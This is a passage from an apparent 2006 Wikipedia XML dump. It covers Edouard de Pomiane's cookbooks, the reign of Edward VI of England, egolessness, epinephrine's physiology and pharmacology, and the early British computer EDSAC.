His best known works to have been translated into English are ''Cooking in Ten Minutes'' and ''Cooking with Pomaine''. His writing was remarkable in its time for its directness (he frequently uses a strange second-person voice, telling you -- the reader -- what you are seeing and smelling as you follow a recipe) and for his general disdain for &quot;traditional&quot; elaborate [[French cuisine]]. He travelled widely and quite a few of his recipes are from abroad. His recipes often take pains to demystify cooking by explaining the chemical processes at work.

==Books==
*''Cooking in Ten Minutes'' ISBN 0571135994
*''Cooking with Pomaine'' ISBN 0340599375





{{France-writer-stub}}

[[Category:Year of birth missing|Depomaine, Edoard]]
[[Category:French chefs|Depomaine, Edoard]]
[[Category:French food writers|Depomaine, Edoard]]


[[Category:Year of death missing]]</text>
    </revision>
  </page>
  <page>
    <title>Edward VI of England</title>
    <id>10245</id>
    <revision>
      <id>42053725</id>
      <timestamp>2006-03-03T14:03:30Z</timestamp>
      <contributor>
        <username>Jtmichcock</username>
        <id>253304</id>
      </contributor>
      <comment>/* Death */ not his name, add death</comment>
      <text xml:space="preserve">{| class=&quot;infobox&quot; style=&quot;float:right;margin:0 0 1em 1em;font-size:90%;clear:right;&quot; cellspacing=&quot;5&quot;
|+ style=&quot;text-align:center; font-size:larger;&quot; | '''His Majesty King Edward VI'''
|-
| colspan=&quot;2&quot; style=&quot;padding-bottom:1em;text-align:center;&quot; | [[Image:Edward VI of England.png|200px]]
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Reign'''
| style=&quot;vertical-align: top; text-align: left;&quot; | [[28 January]] [[1547]] - [[6 July]] [[1553]] 
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Predecessor'''
| style=&quot;vertical-align: top; text-align: left;&quot; |  [[Henry VIII of England|Henry VIII]] 
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Successor'''
| style=&quot;vertical-align: top; text-align: left;&quot; |  [[Lady Jane Grey]] &lt;br&gt; [[Mary I of England|Mary I]]
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Spouse'''
| style=&quot;vertical-align: top; text-align: left;&quot; | none
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Issue'''
| style=&quot;vertical-align: top; text-align: left;&quot; | None
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Royal House'''
| style=&quot;vertical-align: top; text-align: left;&quot; | [[House of Tudor|Tudor]]
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Father'''
| style=&quot;vertical-align: top; text-align: left;&quot; | [[Henry VIII of England|Henry VIII]] 
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Mother'''
| style=&quot;vertical-align: top; text-align: left;&quot; | [[Jane Seymour]]
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Born'''
| style=&quot;vertical-align: top; text-align: left;&quot; | [[12 October]], [[1537]]
|-
| style=&quot;vertical-align: top; text-align: right;&quot; | '''Died'''
| style=&quot;vertical-align: top; text-align: left;&quot; | [[6 July]], [[1553]]
|}


:'''''Edward Tudor''' redirects here; for another (though unlikely) Edward Tudor, see a putative younger son of [[Henry VII of England]], who, if existed, would be the uncle of this Edward''

'''Edward VI''' ([[12 October]] [[1537]] &amp;ndash; [[6 July]] [[1553]]) was [[Kingdom of England|King of England]] and [[King of Ireland]] from [[28 January]] [[1547]] until his death. Edward, the third monarch of the [[Tudor dynasty]], was England's first [[Protestantism|Protestant]] ruler. Although his father and predecessor, [[Henry VIII of England|Henry VIII]], had broken the link between the English church and Rome, it was during Edward's reign that the decisive move was made from Catholicism to a form of [[Protestantism]] which came to be known as [[Anglicanism]]. 

==Early life==
Edward was born at the [[Palace of Placentia]] in [[Greenwich, London]].  He was the son of King [[Henry VIII of England|Henry VIII]] by his wife, [[Jane Seymour]], who died twelve days afterwards from [[puerperal fever]].  It is sometimes asserted that Jane sacrificed her life by the performance of a [[Caesarean section]], but such assertions are without basis. Edward automatically became [[Duke of Cornwall]] upon his birth; he was, however, never created [[Prince of Wales]], as was (and still is) customary for the heir-apparent to the Throne.

Henry VIII was extremely pleased by the birth of a male heir. He had left his two previous wives, [[Catherine of Aragon]] (mother of [[Mary I of England| Mary]]) and [[Anne Boleyn]] (mother of  [[Elizabeth I of England|Elizabeth]]), because of their failure to produce male heirs.  Both marriages had been [[annulment|annulled]], and Anne Boleyn was also executed; Mary and Elizabeth were deemed [[illegitimacy|illegitimate]].  Despite their illegitimacy, however, they were reinserted into the [[order of succession|line of succession]] after Edward VI in [[1544]]. 

Edward VI was an extremely sickly child. It has been theorised that he suffered from [[congenital syphilis]] or from [[tuberculosis]]. His frailty led Henry VIII to quickly seek to remarry; the King's last three marriages, however, did not produce any children. Edward's physical difficulties did not impede his education; on the contrary, the young prince was a very bright child, already able to speak [[Latin]] at the age of seven. He later learned to speak [[French language|French]] and [[Greek language|Greek]]; by the age of thirteen, he found himself translating books into the latter language. His principal tutors were [[John Cheke|Sir John Cheke]], [[Leonard Cox]], and [[Jean Belmain]]. He was quite fond of his stepmother Catherine Parr. He wrote three letters to her, one in French, English and Latin. The rest of the letters he wrote were in latin to his sisters. He had strong feelings for his sister Mary.

''Alternatively, given that Jane Seymour passed away days after Edward VI's birth, it is natural that Henry VIII would seek remarriage, which act does not, therefore, necessarily substantiate claims that Edward VI was a sickly child.  Indeed, Henry VIII only married Anne of Cleves on 6 January, 1540, over 2 years after Jane Seymour perished. In fact, Edward's journals mention no illness at all apart from a bout of measles in 1552, and the pulmonary tuberculosis which killed him. The policies of the Duke of Northumberland also indicate that he was building a foundation on which Edward was expected to build when he reached his majority, rather than expecting Edward to die young.

==Under Somerset==
{{House of Tudor}}
Henry VIII died on [[28 January]] [[1547]]. His [[will (law)|will]] named sixteen [[executor]]s, who were to act as a Council of [[Regent|Regency]] until Edward VI achieved majority at the age of eighteen (although it was agreed by the Council in 1552 that Edward would reach his majority at 16). These executors were to be supplemented by twelve assistants, who would only participate when the others deemed it fit. The executors were all inclined towards religious reformation, whose most prominent opponents, [[Thomas Howard, 3rd Duke of Norfolk]], [[Stephen Gardiner]] (the [[Bishop of Winchester]]) and [[Thomas Thirlby]] (the [[Bishop of Westminster]]), were excluded. Henry VIII also appointed [[Edward Seymour, 1st Duke of Somerset|Edward Seymour, 1st Earl of Hertford]] to serve as [[Lord Protector|Lord Protector of the Realm and Governor of the King's Person]] during Edward VI's minority. Lord Hertford, who was Edward VI's uncle, was only supposed to act on the advice of the other executors. A few days after Henry VIII's death, Lord Hertford was created [[Duke of Somerset]] and appointed to the influential positions of [[Lord High Treasurer]] and [[Earl Marshal]].

To allay all doubts regarding the validity of Henry VIII's will, all the executors sought reappointment from Edward. On [[13 March]] 1547, Edward VI created a new Council of twenty-six members. The Council consisted of all the executors and assistants, except for [[Thomas Wriothesley, 1st Earl of Southampton]] (who, whilst serving as [[Lord Chancellor]], had illegally delegated some of his powers to other officials) and Edward Seymour, 1st Duke of Somerset. The Duke of Somerset was no longer merely a &quot;first among equals&quot;; instead, he was allowed to act without the consent of the Council, the composition of which he was permitted to change at his whim. The Lord Protector, then, became the real ruler of England; Edward VI was demoted to a ceremonial role.

Another powerful influence on Edward VI was [[Thomas Cranmer]], the [[Archbishop of Canterbury]]. Both Cranmer and the Duke of Somerset began the process of creating a 'Protestant England'. Various Catholic rites were replaced with Protestant ones. The Duke of Somerset, however, did not encourage persecution; rather, he refrained from it, as he feared the wrath of Europe's powerful Catholic monarchs, especially the Holy Roman Emperor [[Charles V, Holy Roman Emperor|Charles V]].

One of the Duke of Somerset's primary aims was to achieve a union between [[England]] and [[Scotland]]. In late [[1547]], an English army marched into Scotland and took control of the [[Lowlands]]. In [[1548]], however, [[Mary I of Scotland|Mary]], the daughter of the Scottish King [[James V of Scotland|James V]], married the [[Dauphin]] [[Francis II of France|Francis]], the heir-apparent to the French Throne, thereby strengthening the alliance between [[France]] and Scotland.

The Duke of Somerset was hardly in a position to oppose both France and Scotland, as his own position was insecure. His brother, [[Thomas Seymour, 1st Baron Seymour of Sudeley]], the [[Lord High Admiral]], had hatched a plot to depose him. Lord Seymour's conspiracy, however, was exposed in [[1549]]. A [[bill of attainder]] was introduced and passed almost unanimously by Parliament; Lord Seymour was executed on [[20 March]].

Later in [[1549]], there was another uprising, this time by poor peasants. On [[8 August]], taking advantage of internal strife, the French formally declared war on England. The Duke of Somerset became extremely unpopular, and was deposed by [[John Dudley, 1st Duke of Northumberland|John Dudley, Earl of Warwick]]. Lord Northumberland did not make himself Lord Protector, and even encouraged Edward VI into declaring his majority as soon as he was sixteen. In [[1550]], Lord Northumberland conciliated the peasant rebels and made peace with France, giving up all of England's possessions in Scotland without compensation.

==Under Warwick (Northumberland)==
The rise of the Earl of Warwick was accompanied by the fall of Catholicism in England. Thomas Cranmer introduced the ''[[Book of Common Prayer]]'' for use in all Church services. All official editions of the [[Bible]] were accompanied by anti-Catholic annotations. Catholic symbols in churches were desecrated by mobs. Religious [[dissenter]]s, moreover, were often persecuted and [[execution by burning|burnt at the stake]]. In [[1550]] and [[1551]], the most powerful Roman Catholic Bishops, [[Edmund Bonner]] (the [[Bishop of London]]), Stephen Gardiner (the Bishop of Winchester) and [[Nicholas Heath]] (the [[Bishop of Worcester]]) included, were deposed; and their places taken by Protestant reformers such as [[Nicholas Ridley (martyr)|Nicholas Ridley]].

Meanwhile, the Duke of Somerset, who agreed to submit to Lord Warwick, was released from prison and readmitted to the [[Privy Council of the United Kingdom|Privy Council]]. Within a few months, he found himself powerful enough to demand the release of other political and religious prisoners. He opposed the Council's attempt to curtail the religious liberty of Edward's sister,  Mary. The Duke of Somerset's opposition to the religious Reformation irked Lord Warwick. 

Warwick attempted to increase his own prestige; on his advice, Edward created him [[Duke of Northumberland]] and bestowed honours on his numerous supporters. The Duke of Northumberland began a campaign to discredit the Duke of Somerset. The people of [[London]] were informed that the Duke of Somerset would destroy their city; Edward was told that the Duke would depose and imprison him and seize his Crown. It was also suggested that the Duke of Somerset had plotted to murder the Duke of Northumberland. In [[December]] of [[1551]], the Duke of Somerset was tried for [[treason]] on the grounds that he had attempted to imprison a member of the King's Council. The treason charge, however, could not be proven; instead, Somerset was found guilty of participating in unlawful assemblies, but was still sentenced to death. The Duke of Somerset was subsequently executed in January [[1552]].

On the day after the Duke of Somerset's execution, a new session of Parliament began. It passed the [[Act of Uniformity]] 1552, under which a second ''[[Book of Common Prayer]]'' was required for church services. Unauthorised worship was punishable by up to life imprisonment.

==Later years==
The fragile health of the King did not abate as his reign progressed. During his father's reign Edward had effectively been mollycoddled and kept in seclusion. Edward desperately wanted his own freedom, and indulged in the early years of his reign with other children of his age. He became extremely fond of sports such as tennis. During the winter of 1552&amp;ndash;53, Edward VI, strained by physical activities in the bitter weather, contracted a cold, which was made more serious as it was compounded by other illnesses (tuberculosis, and according to some, syphilis). Doctors tried to help by administering various medicines, but their efforts were in vain, leaving Edward in perpetual agony. Edward, who was by now dying in early 1553, was enough the master of his own destiny to have concerns about the succession. Having been brought up a Protestant, he had no desire to be succeeded by his older half-sister, Mary. 

At the same time, the Duke of Northumberland was eager to retain his own power. He did not find the next two individuals in the line of succession, Mary and [[Elizabeth_I_of_England|Elizabeth]], conducive to his aims. The third individual in the line of succession under Henry VIII's will was [[Lady Frances Brandon]] (the daughter of Henry's younger sister [[Mary Tudor (queen consort of France)|Mary]] by [[Charles Brandon, 1st Duke of Suffolk]]); she, too, was not to Northumberland's liking. Northumberland feared that the Frances' husband, [[Henry Grey, 1st Duke of Suffolk]], would claim the Crown as his own.

The Duke of Northumberland then foolishly attempted to rule through the Duchess of Suffolk's daughter, the [[Lady Jane Grey]]. Jane was married off to the Duke of Northumberland's younger son, [[Guilford Dudley]]. On [[11 June]] 1553, Northumberland commanded senior judges to draw up a draft will for Edward. The plan was illegal for many reasons; firstly, a minor did not have the authority to make a will. Furthermore, Edward's will had not been authorised by any Act of Parliament, whilst Henry's will (which Northumberland sought to abrogate), had been specifically authorised by an Act passed in 1544. The judges at first resisted giving in to the Duke of Northumberland's demands, as it was treason to attempt to vary the laws of succession established in 1544. Edward, however, ensured their co-operation by promising a [[pardon]] under the [[Great Seal of the Realm|Great Seal]]. 

The first draft of the will excluded Mary, Elizabeth, the Duchess of Suffolk and the Lady Jane from the line of succession on the theory that no woman could rule England. The Crown was to be left to the Lady Jane's heirs-male. This plan, however, was not to Northumberland's liking; the draft was changed to leave the Crown to Jane ''and'' her heirs-male. Mary and Elizabeth were excluded because they were officially illegitimate; the Duchess of Suffolk agreed to renounce her own claims.

==Death==
[[Image:Edward6.JPG|right|200px|thumb|Edward VI (detail)]]

Edward VI died in Greenwich on [[6 July]] 1553, either of [[tuberculosis]], [[arsenic|arsenic poisoning]], or [[syphilis]].  As Edward VI lay dying, the Duke of Northumberland (according to legend) symbolically stole the crown from him and gave it to his daughter-in-law, the Lady Jane.  Edward VI was buried in [[Henry VII Lady Chapel]] at [[Westminster Abbey]] by [[Thomas Cranmer]] with Protestant rites on [[9 August]], while Mary had Mass said for his soul in the Tower. 

Edward VI's death was kept secret for a couple of days so that preparations could be made for Jane's accession. High civic authorities privately swore their allegiance to the new [[queen regnant|Queen]], who was not publicly proclaimed until [[10 July]]. But the people were much more supportive of the rightful heir under the Act of Succession, Mary. On [[19 July]], Mary rode triumphantly into [[London]], and Jane was forced to give up the Crown. Jane's proclamation was revoked as an act done under coercion; her succession was deemed unlawful. Thus, Edward VI's ''de jure'' successor was Mary I (1553&amp;ndash;58), but his ''de facto'' successor was Jane.

The Duke of Northumberland was executed, but the Lady Jane and her father were originally spared. In [[1554]], when Mary faced [[Wyatt's Rebellion]], the Duke of Suffolk once again attempted to put his daughter on the Throne. For this crime, Jane, her husband and the Duke of Suffolk were executed.

After Edward VI's death at the age of fifteen, rumours of his survival persisted. To take advantage of the people's delusions, several impostors were put forward as rightful Kings. These impersonations continued throughout Mary I's reign, and even far into Elizabeth I's reign (1558&amp;ndash;1603). Mistaken identities also feature in the [[United States|America]]n author [[Mark Twain]]'s novel, ''[[The Prince and the Pauper]]'', in which the young Edward VI and a pauper boy of identical appearance accidentally replace each other.

==Style and arms==
Like his father, Edward VI was referred to with the styles &quot;Majesty&quot;, &quot;Highness&quot; and &quot;Grace&quot;. His official style was of the same form as his father: &quot;Edward the Sixth, by the Grace of [[God]], [[List of monarchs of England |King of England]], [[English Kings of France | France]] and [[Kingdom of Ireland| Ireland]], [[Fidei defensor|Defender of the Faith]] and of the [[Church of England]] and also of [[Church of Ireland | Ireland]] in [[Earth]] Supreme Head&quot;. 

Edward VI's [[heraldry|arms]] were the same as those used by his predecessors since [[Henry IV of England|Henry IV]]: ''Quarterly, Azure three fleurs-de-lys Or (for [[France]]) and Gules three lions passant guardant in pale Or (for [[England]])''.

==See also==
*[[List of British monarchs]]
*[[Edward Seymour, 1st Duke of Somerset]]
*[[John Dudley, 1st Duke of Northumberland]]

==References==
*[http://tudorhistory.org/edward/index.html Eakins, L. E. (2004). &quot;Edward VI&quot;.]
*&quot;Edward VI&quot;. (1911). ''Encyclopædia Britannica,'' 11th ed. London: Cambridge University Press. 
*[http://lego70.tripod.com/england/executors_of_will_1547.htm Schultz, O. (2002). &quot;England: Minority of Edward VI: 1547&quot;.]

==External links==
*[http://www.archsoc.com/games/Mary.html Stevens, Garry. (2004). &quot;Bloody Mary: Further Intrigue in the Tudor Court&quot;.]
*[http://www.leonibus.com/ Site of author C.W. Gortner, author of &quot;The Secret Lion&quot;] a novel about the final days of Edward VI's reign.

{{start box}}
{{succession box two to two |
  before=[[Henry VIII of England|Henry VIII]] |
  title1=[[List of British monarchs|King of England]] |
  title2=[[King of Ireland]] |
  years1=[[28 January]] [[1547]] - [[6 July]] [[1553]] |
  years2=[[28 January]] [[1547]] - [[6 July]] [[1553]] |
  after=[[Jane of England|Jane]] |
}}
{{end box}}

[[Category:1537 births|Edward VI of England]]
[[Category:1553 deaths|Edward VI of England]]
[[Category:Londoners]]
[[Category:House of Tudor]]
[[Category:Henry VIII's children]]
[[Category:Dukes in the Peerage of England]]
[[Category:English monarchs]]

{{featured article}}

[[cy:Edward VI o Loegr]]
[[de:Eduard VI. (England)]]
[[et:Edward VI]]
[[es:Eduardo VI de Inglaterra]]
[[fr:Édouard VI d'Angleterre]]
[[io:Edward 6ma]]
[[it:Edoardo VI d'Inghilterra]]
[[he:אדוארד השישי מלך אנגליה]]
[[kw:Edward VI a Bow Sows]]
[[la:Eduardus VI Angliae Rex]]
[[nl:Edward VI van Engeland]]
[[ja:エドワード6世 (イングランド王)]]
[[pl:Edward VI]]
[[pt:Eduardo VI de Inglaterra]]
[[ru:Эдуард VI]]
[[simple:Edward VI of England]]
[[sk:Eduard VI. (Anglicko)]]
[[sr:Едвард VI]]
[[fi:Edvard VI]]
[[sv:Edvard VI av England]]
[[zh:爱德华六世]]</text>
    </revision>
  </page>
  <page>
    <title>Egolessness</title>
    <id>10246</id>
    <revision>
      <id>39651914</id>
      <timestamp>2006-02-14T23:11:10Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <minor />
      <comment>{{expand}} to talk page</comment>
      <text xml:space="preserve">In [[psychology]], '''egolessness''' is an [[emotional]] state where one feels no [[ego]] (or [[self (psychology)|self]]); of having no distinct [[being]] apart from the world around oneself.  From the view of Western psychoanalysis and therapy, the state of &quot;oneness&quot; can be either positive or negative depending on the patient, and in the context in which these feelings occur in each patient

The described feeling of '''oneness''' (of being inextricably woven to the fabric of one's surroundings or environment) is thought to be akin to egolessness.  Lifestyles of [[communal]] ownership (no individual property) and the &quot;[[vow of poverty]]&quot; in many monastic traditions may also be intended to make selflessness easier to maintain; that its practitioners may continuously remain in a meditative state of mind.

In some forms of [[meditation]] in [[Asia]]n [[religion]]s, egolessness is a mental state that is sought after.  While at the basic levels, meditation is geared toward [[relaxation]], the practice of advanced meditators may be aimed toward the purpose of dividing one from their awareness of &quot;self,&quot; to a certain degree, and for a certain time.  The ritual and religious treatment of meditation functions so that the individual learns to take the practice with seriousness; learning to gradually control their degree of relaxation such that undesired and harmful schisms do not occur to the [[psyche]].

Note that the term &quot;selflessness&quot; is similar in literal meaning (&quot;ego&quot; is simply the Latin word for &quot;self&quot;) but differs in nuance and usage.  One would describe a set of acts as &quot;selfless&quot; ([[Wiktionary:altruistic|altruistic]]) when they are not selfish &amp;mdash; when they benefit others more than oneself.  One would say that a person is &quot;egoless&quot; when he or she feels or acts in a way that suggests that the self is irrelevant (regardless of whether the act or attitude had any benefit to self or others).  In other words, &quot;selfless&quot; is the opposite of &quot;selfish&quot; while &quot;egoless&quot; is [[orthogonal]] to both.  The closest antonyms to &quot;egolessness&quot; are &quot;egotism&quot; (an inflated or disproportionate sense of self worth or one's own important) or possibly [[solipsism]].

The writer [[Aleister Crowley]] distinguished between two main types of [[ego|egolessness]], for which he used the [[Sanskrit]] terms [[Dhyana]] (which means &quot;meditation&quot;) and [[Samadhi]] (which he associated with the Nothing, or in Hebrew [[AIN]]). He wrote the following about the relative difficulties of attaining them:

''Now we do know this, that if thought is kept single and steady, Dhyana results. We do not know whether an intensification of this is sufficient to cause Samadhi, or whether some other circumstances are required. One is science, the other empiricism. [http://www.hermetic.com/crowley/aba/aba1.html]

Despite this, Crowley recommended a complex system of practices from Eastern and Western sources to help people attain Samadhi.

==See also==
*[[Anatman]]
*[[Anatta]] 
*[[Baqaa]]
*[[Ego]]
*[[Ego reduction]]
*[[Fanaa]]
*[[List of Buddhist topics]]
*[[Mindfulness]]
*[[Shunyata]]

[[Category:Consciousness studies]]
[[Category:Phenomenology]]
[[Category:Philosophy of mind]]
[[Category:Self]]</text>
    </revision>
  </page>
  <page>
    <title>Extrapyramidal</title>
    <id>10248</id>
    <revision>
      <id>15908071</id>
      <timestamp>2004-03-05T02:26:08Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
      </contributor>
      <minor />
      <comment>-&gt; Extrapyramidal system</comment>
      <text xml:space="preserve">#REDIRECT [[Extrapyramidal system]]</text>
    </revision>
  </page>
  <page>
    <title>Extrapyramidal side-effect</title>
    <id>10249</id>
    <revision>
      <id>15908072</id>
      <timestamp>2004-02-24T21:04:32Z</timestamp>
      <contributor>
        <username>The Anome</username>
        <id>76</id>
      </contributor>
      <comment>redirecting</comment>
      <text xml:space="preserve">#redirect [[Extrapyramidal system]]</text>
    </revision>
  </page>
  <page>
    <title>Epinephrine</title>
    <id>10250</id>
    <revision>
      <id>41872272</id>
      <timestamp>2006-03-02T07:12:37Z</timestamp>
      <contributor>
        <username>Mkot390</username>
        <id>1010021</id>
      </contributor>
      <comment>/* Actions in the body */</comment>
      <text xml:space="preserve">:''For the Deftones' album; see [[Adrenaline (album)]].''
&lt;!-- {{PubChemRow|838}}
{{PubChem|838}} --&gt;
'''Epinephrine''' ([[International Nonproprietary Name|INN]]), also ''epinephrin'' (both pronounced ep-i-NEF-rin), or '''adrenaline''' ([[British Approved Name|BAN]]) is a [[hormone]]  and a [[neurotransmitter]]. The [[Latin]] roots ''ad-''+''renes'' and the [[Greek language|Greek]] roots ''epi-''+''nephros'' both literally mean &quot;on/to the [[kidney]]&quot; (referring to the [[adrenal gland]], which secretes epinephrine). Epinephrine is sometimes shortened to '''epi''' in medical [[jargon]]. 

Epinephrine is a [[catecholamine]], a sympathomimetic monoamine derived from the [[amino acid]]s [[phenylalanine]] and [[tyrosine]]. Its '''[[ATC code]]''' is C01CA24.

[[William Horatio Bates|William Bates]] reported in the New York Medical Journal in May 1886 the discovery of a substance produced by the suprarenal gland. Epinephrine was isolated and identified in [[1895]] by [[Napoleon Cybulski]], [[Poland|Polish]] [[physiology|physiologist]]. The discovery was repeated in [[1897]] by [[John Jacob Abel]]. [[Jokichi Takamine]] discovered the same hormone in [[1900]], without knowing about the previous discovery; but, in later years, counterevidence is shown from the experiment note that Kaminaka leaves that the Takamine team is the discoverer of first adrenaline.  It was first artificially synthesized in [[1904]] by [[Friedrich Stolz]].

==Actions in the body==
Epinephrine plays a central role in the short-term [[Stress (medicine)|stress]] reaction&amp;mdash;the physiological response to threatening or exciting conditions (see [[fight-or-flight response]]). It is secreted  by the [[adrenal gland|adrenal medulla]]. When released into the bloodstream, epinephrine binds to multiple [[receptors]] and has numerous effects throughout the body.  It increases [[heart rate]] and [[stroke volume]], dilates the [[pupil]]s, and constricts [[arterioles]] in the skin and gut while dilating arterioles in leg muscles. It elevates the blood sugar level by increasing [[hydrolysis]] of [[glycogen]] to [[glucose]] in the liver, and at the same time begins the breakdown of [[lipids]] in fat cells. Epinephrine has a suppressive effect on the adaptive immune system.

Epinephrine is used as a [[medication|drug]] to promote peripheral vascular [[hemodynamics|resistance]] via alpha-stimulated [[vasoconstriction]] in [[cardiac arrest]] and other cardiac disrhythmias resulting in diminished or absent cardiac output, such that blood is shunted to the body's core.  This beneficial action comes with a significant negative consequence, increased cardiac irritability, which may lead to additional complications immediately following an otherwise successful resuscitation.  Alternatives to this treatment include [[vasopressin]], a powerful [[antidiuretic]] which also promotes peripheral vascular resistance leading to blood shunting via vasoconstriction, but without the attendant increase to myocardial irritability.

Because of its suppressive effect on the adaptive immune system, epinephrine is used to treat [[anaphylaxis]] and [[sepsis]]. Allergy patients undergoing [[immunotherapy]] can get an epinephrine rinse before the allergen extract is administered, thus reducing the immune response to the administered allergen. It is also used as a [[bronchodilator]] for [[asthma]] if specific [[beta-2-adrenergic agonist]]s are unavailable or ineffective. Adverse reactions to epinephrine include palpitations, [[tachycardia]], anxiety, headache, tremor, [[hypertension]], and acute [[pulmonary edema]].

A [[pheochromocytoma]] is a tumor of the adrenal gland (or, rarely, the ganglia of the sympathetic nervous system), which secretes excessive amounts of [[catecholamine]]s, usually epinephrine.

==Pharmacology==
Epinephrine's actions are mediated through [[adrenergic receptor]]s (sometimes referred to as adrenoceptors).

It binds to α&lt;sub&gt;1&lt;/sub&gt; receptors of [[liver]] cells, which activate inositol-phospholipid signaling pathway, signaling the phosphorylation of [[insulin]], leading to reduced ability of insulin to bind to its receptors.

Epinephrine also activates β-adrenergic receptors of the liver and muscle cells, thereby activating the [[adenylate cyclase]] signaling pathway, which will in turn increase [[glycogenolysis]]. Specifically, β&lt;sub&gt;2&lt;/sub&gt; receptors exist on many blood vessels. Activation of the adenylate cyclase pathway on this tissue causes inhibition of [[myosin light chain kinase]] which, in turn, relaxes the smooth muscle cells of the blood vessel walls to bring about vasodilation.

==See also==
*[[EpiPen]]
*[[Anaphylaxis]]
*[[Adrenaline junkie]]
*[[Catechol-O-methyl transferase]]

==Terminology==
Although widely referred to as &quot;adrenaline&quot; outside of the US, and the [[Laity|Lay public]] worldwide, the [[United_States_Approved_Name|USAN]] and [[International_Nonproprietary_Name|INN]] for this chemical is &quot;epinephrine&quot; because &quot;adrenaline&quot; bore too much similarity to the Parke, Davis &amp; Co trademark &quot;adrenelin&quot; (without the &quot;e&quot;) which was registered in the US.

The [[British_Approved_Name|BAN]] and [[European_Pharmacopoeia|EP]] term for this chemical is &quot;adrenaline&quot;, and is indeed now one of the only differences between the INN and BAN systems of names.

==References==
*Aronson JK (2000). &quot;[http://bmj.bmjjournals.com/cgi/content/full/320/7233/506 Where name and image meet]&quot; - the argument for &quot;adrenaline&quot;. ''British Medical Journal'' '''320''', 506-9.

{{Phenethylamines}}
{{Template:Hormones}}

[[Category:Aromatic compounds]]
[[Category:Catecholamines]]
[[Category:Neurotransmitters]]
[[Category:Bronchodilators]]

[[bg:Адреналин]]
[[da:Adrenalin]]
[[de:Adrenalin]]
[[es:Adrenalina]]
[[eo:Adrenalino]]
[[fr:Adrénaline]]
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[[he:אדרנלין]]
[[lt:Adrenalinas]]
[[hu:Epinefrin]]
[[nl:Adrenaline]]
[[ja:アドレナリン]]
[[no:Adrenalin]]
[[pl:Adrenalina]]
[[pt:Adrenalina]]
[[ru:Адреналин]]
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[[sl:Adrenalin]]
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[[zh:肾上腺素]]</text>
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  </page>
  <page>
    <title>EDSAC</title>
    <id>10251</id>
    <revision>
      <id>40067512</id>
      <timestamp>2006-02-17T22:15:09Z</timestamp>
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        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: corrected link to disambiguation page Binary ([[Wikipedia:Disambiguation_pages_with_links|you can help!]])</comment>
      <text xml:space="preserve">[[Image:EDSAC (10).jpg|thumb|200px|EDSAC]]
'''EDSAC''' ''('''E'''lectronic '''D'''elay '''S'''torage '''A'''utomatic '''C'''alculator)'' was an early [[United Kingdom|British]] [[computer]]  (one of the first computers to be created).  The machine, having been inspired by [[John von Neumann]]'s seminal [[EDVAC]] report, was constructed by [[Maurice Wilkes]] and his team at the [[University of Cambridge]] [[University of Cambridge Mathematical Laboratory|Mathematical Laboratory]] in [[England]].

EDSAC was the world's first ''practical'' [[stored program]] electronic computer, although not the first stored program computer (that honor goes to the [[Small-Scale Experimental Machine]]).

The project was supported by J. Lyons &amp; Co. Ltd., a British firm, who were rewarded with the first commercially applied computer, [[LEO I]], based on the EDSAC design.  EDSAC ran its first programs on [[May 6]], [[1949]], calculating a table of squares{{ref|first-prog}} and a list of prime numbers.

==Technical overview==

===Physical components===
As soon as EDSAC was constructed, it immediately began serving the University's research needs.  None of its components were experimental.  It used [[delay line memory|mercury delay line]]s for memory, and derated [[vacuum tube]]s for logic. Input was via 5-hole [[punched tape]] and output was via a [[teleprinter]].

Initially registers were limited to an [[accumulator]] and a multiplier register. In 1953, [[David Wheeler]], returning from a stay at the [[University of Illinois]], designed an [[index register]] as an extension to the original EDSAC hardware.

===Memory and instructions===
The EDSAC's memory consisted of 1024 locations, though only 512 locations were initially implemented. Each contained 18 bits, but the first bit was unavailable due to timing restrictions, so only 17 bits were used. An instruction consisted of a five-bit instruction code (designed to be represented by a mnemonic letter, so that the Add instruction, for example, used the bit pattern for the letter A), eleven bits for a memory address (although with 1024 words, only 10 bits were needed), and one bit (for certain instruction) to control whether the instruction operated on a number contained in one word or two.

Internally, the EDSAC used [[twos complement]], [[Binary numeral system|binary]] numbers.  These were either 17-bit (one word) or 35-bit (two words) long.  Unusually, the [[Multiplication ALU|multiplier]] was designed to treat numbers as [[fixed-point]] fractions in the range -1 &amp;le; ''x'' &amp;lt; 1, ie the binary point was immediately to the right of the sign.  The [[accumulator]] could hold 71-bits, including the sign, allowing two long (35-bit) numbers to be multiplied without losing any precision.

The instructions available were: add, subtract, multiply, collate{{ref|collate}}, shift left, shift right, load multiplier register, store (and optionally clear) accumulator, conditional skip, read input tape, print character, round accumulator, no-op and stop.  There was no division instruction (though a number of division subroutines were available) and no way to directly load a number into the accumulator (a &quot;store and zero accumulator&quot; instruction followed by an &quot;add&quot; instruction were necessary for this).

===System software===
The ''initial orders'' were hard-wired on a set of [[uniselector]] switches and loaded into the low words of memory at startup.  By September [[1949]], the initial orders had reached their final form and provided a primitive relocating [[assembler]] taking advantage of the mnemonic design described above, all in 41 words.

===Application software===
An unusual feature of EDSAC was the availability of a substantial subroutine library.  By [[1951]], 87 subroutines in the following categories were available for general use: [[floating point arithmetic]]; arithmetic operations on [[complex numbers]]; checking; division; [[exponentiation]]; routines relating to functions; [[differential equations]]; special functions; [[power series]]; [[logarithms]]; miscellaneous; print and layout; [[Numerical integration|quadrature]]; read (input); ''n''th root; [[Trigonometric functions]]; counting operations (simulating &quot;repeat&quot;, &quot;while&quot; and &quot;for&quot; loops); [[vectors]] and [[matrix (mathematics)|matrices]].

==Applications of EDSAC==
*In 1951, Miller and Wheeler used the machine to discover a 79-digit prime&amp;mdash;the largest known at the time.
*In 1952 [[A.S. Douglas]] developed ''[[OXO]]'', a version of [[noughts and crosses]] (tic-tac-toe) for the EDSAC, with graphical output to a [[cathode ray tube]]. This may well have been the world's first [[computer and video games|computer/video game]].
